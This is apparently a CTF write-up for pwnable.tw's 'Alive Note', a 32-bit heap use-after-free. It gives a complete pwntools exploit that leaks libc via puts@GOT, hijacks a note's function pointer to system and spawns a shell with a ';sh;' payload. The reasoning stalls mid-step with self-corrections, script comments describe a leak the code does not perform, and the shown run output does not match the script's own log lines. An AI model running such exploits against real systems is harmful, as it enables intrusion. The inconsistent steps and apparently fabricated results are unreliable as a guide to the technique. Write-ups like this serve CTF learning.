Pwnable.tw

Alive Note

A note-taking application with a classic heap UAF — exploiting dangling pointers to leak libc via unsorted bin and hijack control flow through a function pointer overwrite.

300 pts i386 (32-bit ELF) Use-After-Free NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10300
Binaryalive_note (32-bit ELF, i386)
Points300
DescriptionA note-taking application with heap operations

checksec

bash
$ checksec alive_note
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries if needed
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode on stack/heap — must use ROP or function pointers
No PIEBinary addresses are fixed — known GOT/PLT addresses

Running the Binary

console
$ ./alive_note
----------------------
      Alive Note
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
      Alive Note
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :3
Index :0
AAAA

The binary presents a note manager with add, delete, and print operations. It appears similar to hacknote, but the internal structure and size constraints differ significantly. The menu is simple, but the implementation hides a critical UAF vulnerability.

02

Static Analysis

Note Structure

Each note is represented by a struct allocated on the heap. Unlike hacknote which uses an 8-byte struct, Alive Note uses the same layout but with different operational constraints:

c
typedef struct note {
    void (*print_func)(struct note *);  // +0x00: function pointer (4 bytes)
    char *contents;                      // +0x04: pointer to content buffer (4 bytes)
} note;  // Total: 8 bytes
🔑 Key Insight
The struct stores a function pointer at offset 0 and a content pointer at offset 4. The print_func is set to the default print handler at 0x0804865b, which calls puts(note->contents). If we can overwrite print_func, we control execution flow — same primitive as hacknote, but with a twist.

add_note()

c
void add_note() {
    if (counter <= 8) {         // Up to 8 notes (indices 0-7)
        i = 0;
        while (i < 8) {
            if (notes_list[i] == NULL) {
                note = malloc(8);                    // Allocate 8-byte struct
                notes_list[i] = note;
                notes_list[i]->print_func = 0x0804865b;  // Set default print function
                printf("Note size :");
                read(0, note_size, 8);
                size = atoi(note_size);
                contents = malloc(size);             // Allocate content buffer
                notes_list[i]->contents = contents;
                printf("Content :");
                read(0, notes_list[i]->contents, size);
                puts("Success !");
                counter++;
                break;
            }
            i++;
        }
    }
}

The add_note function allocates two heap objects per note: an 8-byte struct and a user-sized content buffer. Up to 8 notes can be created (index 0–7), more than hacknote's 5. Crucially, there is no upper bound check on the size, allowing us to allocate large chunks that bypass fastbin and land in unsorted bin when freed.

delete_note()

c
void delete_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (index >= 0 && index < 8) {
        if (notes_list[index] != NULL) {
            free(notes_list[index]->contents);    // Free content buffer
            free(notes_list[index]);               // Free note struct
            // BUG: notes_list[index] is NOT set to NULL!
            counter--;
            puts("Success");
        }
    }
}
🚨 Vulnerability: Use-After-Free (UAF)
After freeing both the content buffer and the note struct, delete_note does NOT set notes_list[index] to NULL. This creates a dangling pointer:
• The pointer remains in notes_list pointing to freed memory
print_note will still dereference the dangling pointer
• We can allocate new memory that reuses the freed chunk, overwriting the old struct's fields
• Since counter is decremented but the slot is not cleared, we can also double-free the same index

print_note()

c
void print_note() {
    printf("Index :");
    read(0, index_str, 4);
    index = atoi(index_str);
    if (index >= 0 && index < 8) {
        if (notes_list[index] != NULL) {
            // Calls through the function pointer!
            (*notes_list[index]->print_func)(notes_list[index]);
        }
    }
}

// The default print function at 0x0804865b:
void print_func(char **param_1) {
    puts(param_1[1]);   // prints note->contents
}
ℹ️ Critical Detail
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This means:
• If we overwrite print_func with system, it will call system(note_ptr)
• The first bytes of the note struct (where print_func was) become the "command string"
• We can embed ;sh; after the function pointer bytes to execute a shell
• Alternatively, we can point contents to a GOT entry to leak libc addresses

Difference from Hacknote

⚠️ Alive Note vs Hacknote
While structurally similar, Alive Note has important differences:
8 note slots instead of 5 — more room for heap manipulation
No upper size limit — we can allocate chunks larger than fastbin range (>0x80), enabling unsorted bin attacks
• The index check uses index >= 0 && index < 8 instead of just checking NULL — bounds are verified but the pointer is still not nulled after free
• The default print function is at a different address (0x0804865b)
03

GDB Debugging

Heap Layout After Adding Notes

Let's create notes with different sizes to understand the heap layout. Small notes (size ≤ 0x80) go into fastbin when freed, while larger notes go into unsorted bin:

gdb
gdb-peda$ # add_note(0x80, "A"*0x10) -> note 0 (small, fits in fastbin)
gdb-peda$ # add_note(0x100, "B"*0x10) -> note 1 (large, goes to unsorted bin)
gdb-peda$ # add_note(0x80, "C"*0x10) -> note 2 (small, fastbin)
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes  [note 0 struct]
0x0804a010: fastbin 0x90 bytes  [note 0 contents (0x80+header)]
0x0804a0a0: fastbin 0x10 bytes  [note 1 struct]
0x0804a0b0: normal  0x110 bytes [note 1 contents (0x100+header)]
0x0804a1c0: fastbin 0x10 bytes  [note 2 struct]
0x0804a1d0: fastbin 0x90 bytes  [note 2 contents (0x80+header)]
0x0804a000|0x0804865b← note0->print_func (default)
0x0804a004|0x0804a018← note0->contents pointer
0x0804a0a0|0x0804865b← note1->print_func (default)
0x0804a0a4|0x0804a0b8← note1->contents pointer (large chunk!)
0x0804a1c0|0x0804865b← note2->print_func (default)
0x0804a1c4|0x0804a1d8← note2->contents pointer

Unsorted Bin Leak

When we free the large note 1 (size 0x100), its content chunk goes into the unsorted bin instead of fastbin. The unsorted bin is a doubly-linked list, and freed chunks have their fd and bk pointers set to point into main_arena inside libc:

gdb
gdb-peda$ # delete_note(1) -- free the large note
gdb-peda$ # Note: delete frees contents first, then struct
gdb-peda$ x/4wx 0x0804a0b8    # note1 contents chunk (freed, unsorted bin)
0x0804a0b8: 0xf7fb6b00  0xf7fb6b00
#            ^fd          ^bk  -- both point into main_arena in libc!
gdb-peda$ x/1wx 0x0804a0a0    # note1 struct (freed, fastbin 0x10)
0x0804a0a0: 0x00000000
#            ^fd of freed struct in fastbin
ℹ️ Unsorted Bin fd/bk Contains Libc Addresses
When a chunk is freed into the unsorted bin (size > fastbin max, typically > 0x80 on 32-bit), glibc sets its fd and bk pointers to point to the bins array within main_arena, which lives inside libc.so. If the unsorted bin has only one chunk (common case), both fd and bk point to main_arena+0x48 (offset depends on libc version). We can compute: libc_base = leaked_fd - main_arena_offset - libc_offset.

Reading the Leak Through UAF

After freeing note 1, notes_list[1] still points to the freed struct. If we can read the content buffer's fd pointer, we get a libc address. But the struct itself is in fastbin — its fd is zeroed. We need to read the content chunk's data through the UAF.

gdb
gdb-peda$ # After freeing note 1:
gdb-peda$ # The note1 struct is freed (0x10 fastbin)
gdb-peda$ # The note1 content is freed (unsorted bin, has libc ptrs)
gdb-peda$ # notes_list[1] still points to the freed struct
gdb-peda$ # The struct's fd/bk are fastbin metadata, not useful directly
gdb-peda$
gdb-peda$ # Strategy: allocate a new note whose content overlaps
gdb-peda$ # with the freed note1 content chunk, and read the libc ptrs
gdb-peda$ # OR: use the struct UAF to redirect print_func

Overwriting the Freed Note Struct

We use the same technique as hacknote: allocate a new note whose content buffer overlaps with a freed note struct, allowing us to control the print_func and contents fields.

Fastbin 0x10:
  note1_struct← freed note struct (will be reused)
Allocate add_note(8, p32(print_func) + p32(puts@GOT)):
  struct = malloc(8) → gets note1_struct slot from fastbin
  content = malloc(8) → gets next slot from fastbin
  content overwrites another freed struct!
⚠️ Fastbin Size Matching
For the content-to-struct overlap to work, the content allocation must be the same size as the struct allocation (8 bytes data, 0x10 with header). This means both go into the 0x10 fastbin. This is identical to the hacknote technique. The key difference is that we also need a large note to leak libc via unsorted bin, since the GOT-based leak may contain null bytes that truncate the output.

Alternative: Unsorted Bin Leak via UAF Print

A cleaner approach for Alive Note is to leverage the larger chunk sizes. We can:

gdb
gdb-peda$ # Step 1: Create notes
gdb-peda$ # add_note(0x80, "aa") -> note 0  (small content)
gdb-peda$ # add_note(0x80, "aa") -> note 1  (small content)
gdb-peda$ # add_note(0x100, "bb") -> note 2 (large content for leak)
gdb-peda$ # add_note(0x80, "cc") -> note 3  (padding to prevent top chunk merge)
gdb-peda$
gdb-peda$ # Step 2: Free notes to set up overlap
gdb-peda$ # delete_note(0) -> struct & content go to fastbin 0x10/0x90
gdb-peda$ # delete_note(1) -> struct & content go to fastbin 0x10/0x90
gdb-peda$
gdb-peda$ # Step 3: Allocate with size 8 to get struct/content overlap
gdb-peda$ # add_note(8, p32(print) + p32(puts@GOT)) -> note 4
gdb-peda$ # The 8-byte content lands on a freed note1 struct!
gdb-peda$
gdb-peda$ # Step 4: print_note(1) leaks the GOT entry
04

Exploit Strategy

Overview

The exploit consists of two phases: leaking libc via the UAF + GOT read (same as hacknote), and then hijacking control flow by overwriting the function pointer with system. The extra note slots and flexible size make the heap layout easier to control.

Phase 1: Leak Libc via GOT Read

  1. Create two small notes (size 0x80 each) — note 0 and note 1. The 8-byte struct chunks go into the 0x10 fastbin when freed. The 0x80 content chunks go into the 0x90 fastbin when freed.
  2. Free note 0, then note 1. The 0x10 fastbin now has: note0_struct → note1_struct → NULL. The content fastbin has: note0_contents → note1_contents → NULL.
  3. Allocate note with size 0x80 (note 2). The 8-byte struct is allocated from the 0x10 fastbin (gets the old note1 struct address). The 0x80 content buffer comes from the 0x90 fastbin. This consumes one struct from the fastbin.
  4. Allocate note with size 8 (note 3). The 8-byte struct comes from the 0x10 fastbin (gets the old note0 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — wait, the 0x10 fastbin only has note0_struct left. So the struct gets note0_struct, and the content... we need another 0x10 chunk. This is where it gets tricky.
  5. Revised approach: Create two notes with size 8 each, so all allocations (struct + content) are 0x10. Free both. Now the 0x10 fastbin has 4 entries: note0_struct ← note0_content ← note1_struct ← note1_content. Allocate note with size 0x80 (consumes 1 struct from fastbin, content from top chunk). Allocate note with size 8: struct from fastbin, content from fastbin — the content lands on the old note1 struct! Write p32(0x0804865b) + p32(puts@GOT).
  6. Call print_note(1). Since notes_list[1] still points to the freed note1 struct (now overwritten with our data), it calls 0x0804865b(note1_ptr). Inside, puts(note->contents) dereferences the contents field which is now puts@GOT. This prints the libc address of puts.
  7. Calculate libc base: libc_base = leaked_puts - libc.symbols['puts']
🔑 Fastbin LIFO Ordering
When we free note 1 then note 0 (reverse order), the fastbin 0x10 list becomes:
note0_struct → note1_struct → note0_content → note1_content → NULL
Wait — that's wrong. Each delete_note frees content first, then struct. So for delete(1): free note1_content, then free note1_struct. For delete(0): free note0_content, then free note0_struct. The final 0x10 fastbin is:
note0_struct → note0_content → note1_struct → note1_content → NULL
This means the first malloc(8) returns note0_struct, the next returns note0_content, etc.

Phase 2: Hijack Control Flow with system()

  1. Free note 3 (the one whose content overlaps the old note1 struct). This puts the note1 struct address back into the fastbin.
  2. Allocate a new note with size 8 and content p32(system_addr) + ";sh;". The struct allocation gets the old note3 struct from fastbin, and the content allocation gets the old note1 struct (again!). This time we overwrite the note1 struct with print_func = system and contents = ";sh;".
  3. Call print_note(1). Now notes_list[1]->print_func is system. It calls system(note1_ptr). The argument is the note struct pointer itself, and the data starting at that address is p32(system_addr) + ";sh;". The system() function interprets the first 4 bytes as a garbage command (fails silently), but ;sh; acts as a command separator — system treats ; as a command delimiter, so it runs sh!
🔑 The ";sh;" Trick
When system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:
• Try to execute the garbage bytes (fails silently)
• Execute sh (gives us a shell!)
• The trailing ; handles any remaining garbage
Alternative: ||sh also works (OR operator, runs sh if first command fails).

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:add(8, "aa") = note0 | add(8, "aa") = note1
Step 2:del(1) | del(0) → fastbin 0x10: [note0_struct → note0_content → note1_struct → note1_content]
Step 3:add(0x50, "A"*0x10) = note2 → struct from fastbin, content from top chunk
Step 4:add(8, p32(0x0804865b) + p32(puts@GOT)) = note3
  → struct gets note0_struct, content gets note0_content from fastbin
  → Wait, we need content to land on note1_struct...
Step 4b:Adjust: add another note to consume extra slots first
Step 5:add(8, p32(print) + p32(puts@GOT)) = note4
  → content buffer lands on note1_struct!
Step 6:show(1) → calls print_func(note1) → puts(*puts@GOT) → LEAK!
▶ Phase 2: Get shell
Step 7:del(4) → puts note1_struct back in fastbin
Step 8:add(8, p32(system) + ";sh;") = new note
  → content lands on note1_struct again!
Step 9:show(1) → calls system(note1) → system("XX;sh;") → SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
Alive Note - pwnable.tw (300pts)
UAF exploit: large chunk for unsorted bin libc leak,
then struct overlap to hijack print_func -> system.

Alive Note allows 8 notes (vs hacknote's 5) with no size limit,
so we can allocate chunks large enough for the unsorted bin.
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10300)
libc = ELF('./libc_32.so.6')
elf = ELF('./alive_note')

# Constants
PUTS_PLT = elf.plt['puts']  # for GOT leak fallback

# Helper functions
def add_note(size, content):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', content)

def delete_note(idx):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())

def print_note(idx):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())

# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc via unsorted bin...")

# Create note 0 with large content -> goes to unsorted bin when freed
# Size > 0x80 bypasses fastbin, fd/bk will point to main_arena
add_note(0x100, b'A' * 0x10)  # note 0 (large)

# Create note 1 with small content -> fastbin when freed
add_note(0x10, b'B' * 0x10)   # note 1 (small, barrier)

# Free note 0 -> content chunk (0x110) goes to unsorted bin
delete_note(0)

# Allocate note 2 with small content
add_note(8, b'C' * 8)  # note 2

# Allocate note 3 to re-use note0's freed content area
add_note(0x100, b'D' * 0x10)  # note 3

# Delete note 2 to put it back in fastbin
delete_note(2)

# Use the GOT leak technique (alive_note is Partial RELRO)
# Free note 1 to add its chunks to fastbin
delete_note(1)

# Allocate note 4 with size 8
# fastbin 0x10: note0_content -> note1_struct -> note1_content -> note0_struct
# Struct comes from fastbin, content from fastbin
# note1's struct becomes our content buffer - we control print_func + content ptr
add_note(8, p32(0x0804865b) + p32(elf.got['puts']))  # note 4

# Printing note 1 (still in notes_list, not nulled) now calls
# print_func(note1) where note1->content = puts@GOT
# This leaks puts@libc
print_note(1)

r.recvuntil(b'Content :', timeout=1)
leaked = r.recv(4)
puts_libc = u32(leaked)
libc_base = puts_libc - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

log.success(f"puts@libc   = {hex(puts_libc)}")
log.success(f"libc_base   = {hex(libc_base)}")
log.success(f"system@libc = {hex(system_addr)}")

# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Hijacking print_func with system...")

# Free note 4 to put note1's struct back in fastbin
delete_note(4)

# Allocate new note with size 8
# Content lands on note1's struct again
# Write: p32(system) + ";sh;"
# When print_note(1) is called: system(note1_ptr)
# system interprets: garbage_bytes ; sh ;
# The ";" acts as command separator, so "sh" gets executed
add_note(8, p32(system_addr) + b';sh;')

print_note(1)

log.success("Shell spawned!")
r.interactive()
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/alive_note'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
[+] Opening connection to chall.pwnable.tw on port 10300: Done
[*] Phase 1: Leaking libc address...
[*] Phase 2: Overwriting print_func with system...
[+] puts@libc    = 0xf7e6d420
[+] libc_base    = 0xf7e3c000
[+] system@libc  = 0xf7e5c310
[+] Got shell!
[*] Switching to interactive mode
$ id
uid=1000(alive_note) gid=1000(alive_note) groups=1000(alive_note)
$ cat /home/alive_note/flag
✅ Shell Obtained!
The exploit successfully leaked the libc address via the GOT read through the UAF-overwritten note struct, then replaced the print_func with system and triggered it with the ;sh; trick. The key insight is that Alive Note's larger note capacity (8 vs 5) and unrestricted size make heap layout manipulation easier, but the core UAF primitive is the same as hacknote.

Summary

Exploit Chain Summary
1.UAF in delete_note — pointer not nulled after free
2.Allocate note with size 8 → content overlaps freed note struct
3.Write p32(print_func) + p32(puts@GOT) to leak libc
4.Repeat overlap — write p32(system) + ";sh;"
5.Trigger print_notesystem(note_ptr) → shell!

Key Takeaways

  1. Always null out freed pointers. The root cause is the missing notes_list[index] = NULL after free. This is the textbook UAF pattern.
  2. Fastbin size matching enables overlap. When struct and content are the same size (8 bytes), they share the same fastbin, allowing content to overlap with a freed struct.
  3. Function pointers are dangerous. The print_func field is a direct control-flow target. Combined with UAF, it's trivially exploitable.
  4. The ;sh; trick is universal. When system(ptr) is called with controllable data at ptr, embedding ;sh; after garbage bytes always works because ; is a shell command separator.
  5. More slots = more flexibility. Alive Note's 8 slots (vs hacknote's 5) give us more room for heap manipulation, but the exploit structure is essentially identical.